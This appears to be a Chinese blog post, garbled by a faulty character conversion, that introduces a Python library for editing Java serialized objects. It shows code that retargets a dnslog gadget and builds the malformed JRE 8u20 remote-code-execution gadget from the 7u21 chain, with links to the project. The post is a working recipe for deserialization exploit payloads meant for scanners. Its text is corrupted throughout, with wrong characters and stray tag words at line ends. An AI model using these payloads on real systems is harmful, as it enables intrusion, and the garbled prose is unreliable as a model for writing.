最近受朋友所託,在使用python寫掃描器關於java反序列化漏洞的exp中,一直沒法簡便的生成payload。目前來講只有兩種方法:java
固然,上面兩種方法都有一個最致命的缺點,那就是沒法隨意更改Suid值等反序列化屬性。在反序列化攻擊的場景中。常常會出現suid不一致而致使沒法攻擊成功的案例,固然,各類奇技淫巧都是在jar包中想辦法,而不多有人在反序列化文件上動手。python
因而,我按照java反序列化協議標準,使用python編寫一個模塊,能夠作到自由讀寫java反序列化文件。固然,後期也可能會推出Java版。git
生成8u20 gadget纔是最具備挑戰的事,由於網上的工具,操做起來基本都很複雜,須要手工計算handle等複雜操做。這對一個不懂java反序列化協議的人來說,十分不友好。並且,8u20 gadget是一個畸形的反序列化數據。生成它須要不少複雜的工做github
咱們先從dnslog提及,從易到難,看一下如何使用javaSerializationTools模塊讀寫java序列化文件json
在這裏咱們不關心dnslog這個gadget是如何觸發的,咱們只關心如何修改dnslog地址。數組
修改dnslog的地址,其實也就是修改java.net.URL對象的host字段的值。因此咱們先讀取一個dnslog的反序列化文件,解析成功後保存爲yaml文本格式的模板。app
json 不支持複雜對象的存儲,好比java中常常會出現對象的循環引用,json沒法表達這種關係,而yaml能夠表達,可是犧牲部分可讀性。主要爲了下降工做量函數
示例代碼以下:工具
with open("../files/dnslog.ser", "rb") as f: a = ObjectRead(f) dnslog = a.readContent()
在這裏我使用模塊的javaObject
類去表示一個java類。由於在反序列化數據中,只有對象,對象中的字段以及對象的類,若是存在額外數據,則添加到javaObject
對象中的objectAnnoation
列表中。下面咱們來看截圖,看一下dnslog是如何被解析的
佈局
loadFactor
和threshold
是HasnMap對象的兩個屬性,在這裏沒什麼好說的。下面來講一下我是如何保存java對象中字段的值。
在java中某個類可能繼承自父類,父類也可能繼承自爺爺類。java爲了精準的保存某個對象,會將對象全部的字段都保存下來。在反序列化還原對象中,首先讀取對象的類的描述。也就是如上圖中javaClass所表示的同樣。隨後在還原對象的值中,會按照讀取的類的描述中字段的順序,先讀取父類的值,再讀取子類的值。因此我將字段保存爲多維數組,按層保存。其中字段的順序與javaCLass中描述的字段順序必須一致。
下面再講一下 objectAnnoation
。在反序列化中,默認保存對象的全部值。可是對於HashMap這種對象來說,對象中的值,也就是key和value是不固定的,沒有辦法保存。這時須要writeObject和readObject方法。writeObject方法是寫入對象中額外的對象的特殊方法。通過writeObject方法寫入的內容,會被寫入到ObjectAnnotation中。readObject讀取,也是讀取ObjectAnnotation中的信息。在反序列化中,首先寫入父類的字段值,若是父類存在writeObject,則再調用writeObject寫入額外信息。而後再寫入子類的字段值。writeObject函數在調用成功後,會向ObjectAnnotation中寫入EndBlock標識終結。
對於hashmap對象來講,key和value分別存放到ObjectAnnotation中。咱們須要想辦法修改URL對象的host字段。URL對象的佈局以下圖所示
修改起來很簡單,代碼以下
dnslogUrl = 'bza4l5.dnslog.cn' with open('dnslog.yaml', "r") as f: dnslog = yaml.load(f, Loader=yaml.FullLoader) UrlObject = dnslog.objectAnnotation[2] # 修改java.net.URL的host屬性爲新的dnslog地址 dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl with open('dnslog.ser', 'wb') as f: ObjectWrite(f).writeContent(dnslog)
dnslog.yaml 截圖以下
上面簡單對象已經講完了,下面咱們來講一下複雜對象的讀寫。咱們只須要大概瞭解jre 7u21 payload的觸發流程便可。以及修復方式如何被繞過的。
7u21的gadget中 LinkedHashMap
的readObject
觸發sun.reflect.annotation.AnnotationInvocationHandler
,最終觸發RCE。修復方法以下圖所示。readObject中會判斷反序列化的類型,若是不是所指望的,則直接拋出異常。
咱們還須要回顧剛纔講的writeObject方法。假如一個對象在序列化過程當中,調用writeObject方法。則java序列化中,是不會序列化任何字段值,一切交由對象的writeObject方法去處理。因此通常的writeObject方法中,只是保存額外信息,對象的字段值,通通交由defaultReadObject()去處理。
雖然sun.reflect.annotation.AnnotationInvocationHandler
拋出了異常,可是對象以及全部的屬性,其實已經還原完畢了。而且後面也能夠調用。
咱們分析一下緣由,打開java序列化協議標準中關於還原對象的部分或者我自寫的ObjectRead類的readObject方法
在java序列化協議中,爲了防止循環引用,或者爲了節約序列化後空間,會將出現一摸同樣的對象中第二個相同的對象使用reference代替,你能夠理解爲c語言的指針。在還原對象中,首先爲被還原對象創建reference,其次再還原對象的值。
在sun.reflect.annotation.AnnotationInvocationHandler
的readObject中,咱們能夠看到拋出異常的代碼後面,也沒有額外信息能夠供咱們讀取。因此,即便拋出了異常,可是對象也是被成功還原的,拋出異常前,對象的全部字段其實已經被還原完成了。因此咱們想辦法攔截異常信息,不打斷正常的反序列化流程便可。這就是8u20 gadget的通俗解釋。
在這裏咱們直接看java.beans.beancontext.BeanContextSupport#readChildren
方法。在這裏讀取了額外的對象,而且也捕獲異常信息。並無打斷正常的反序列化流程。
剛纔咱們說過,ObjectAnnotation的結尾,存放JavaEndBlockData去標識本對象的ObjectAnnotation結束。可是如今拋出異常致使BeanContextSupport
的ObjectAnnotation中JavaEndBlockData沒法被正常處理。若是咱們不刪除這個javaEndBlock,就會致使後面讀取所有錯誤。這也就是jre 8u20沒法被第三方軟件解析成功的緣由。因此咱們在生成BeanContextSupport中不能按照規定,在ObjectAnnotation的結尾處生成JavaEndBlockData標識。這也就是8u20 畸形數據的來源。
下面咱們來看一下7u21 的解析結果,如圖
咱們剛說過,在反序列化流程中,通常都是首先還原對象中字段的值,再還原objectAnnotation中的值。咱們只須要插入一個虛假的字段到LinkedHashSet中,java反序列化中,若是遇到虛假的反序列化值,是不會影響正常的反序列化的流程的。
提及來容易作起來難,java序列化是不會生成這種畸形數據的。手工修改7u21的payload,插入一個新對象的話,後面全部的引用都須要一一修改。這個工做量聽起來就很嚇人,並且很容易出錯。
因此我使用 javaSerializationTools模塊,修改7u21的gadget,自動計算引用等。
首先向LinkedHashSet中添加一個新的字段,名字叫fake,類型爲BeanContextSupport
代碼以下
with open("../files/7u21.ser", "rb") as f: a = ObjectRead(f) obj = a.readContent() # 第一步,向HashSet添加一個假字段,名字fake signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;") fakeSignature = {'name': 'fake', 'signature': signature} obj.javaClass.superJavaClass.fields.append(fakeSignature)
而後構造BeanContextSupport對象的值
# 構造假的BeanContextSupport反序列化對象,注意要引用後面的AnnotationInvocationHandler # 讀取BeanContextSupportClass的類的簡介 with open('BeanContextSupportClass.yaml', 'r') as f1: BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader) # 向beanContextSupportObject添加beanContextChildPeer屬性 beanContextSupportObject = JavaObject(BeanContextSupportClassDesc) beanContextChildPeerField = JavaField('beanContextChildPeer', JavaString('Ljava/beans/beancontext/BeanContextChild'), beanContextSupportObject) beanContextSupportObject.fields.append([beanContextChildPeerField]) # 向beanContextSupportObject添加serializable屬性 serializableField = JavaField('serializable', 'I', 1) beanContextSupportObject.fields.append([serializableField])
最後處理objectAnnotation,由於BeanContextSupport的父類也有writeObject方法。根據協議,咱們第一個值爲javaEndBlock,第二個值纔是sun.reflect.annotation.AnnotationInvocationHandler
對象,在這裏咱們直接引用7u21 的AnnotationInvocationHandler
對象。這樣,真正起做用的AnnotationInvocationHandler
直接引用第一個成功還原的AnnotationInvocationHandler
的對象。而引用的對象,再被引用的過程當中是不會調用readObject方法的。
代碼以下
# 向beanContextSupportObject添加objectAnnontations 數據 beanContextSupportObject.objectAnnotation.append(JavaEndBlock()) AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler) # 把beanContextSupportObject對象添加到fake屬性裏 fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject) obj.fields[0].append(fakeField)
固然在這裏不須要計算handle,只須要使用ObjectWrite對象寫入文件,便可自動計算handle等一切繁瑣的事
with open("8u20.ser", 'wb') as f: o = ObjectWrite(f) o.writeContent(obj)
8u20 gadget 佈局以下圖所示
完整的代碼詳見 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py
歡迎fork star項目,目前還在設計中,使用起來將會更加容易
項目地址 https://github.com/potats0/javaSerializationTools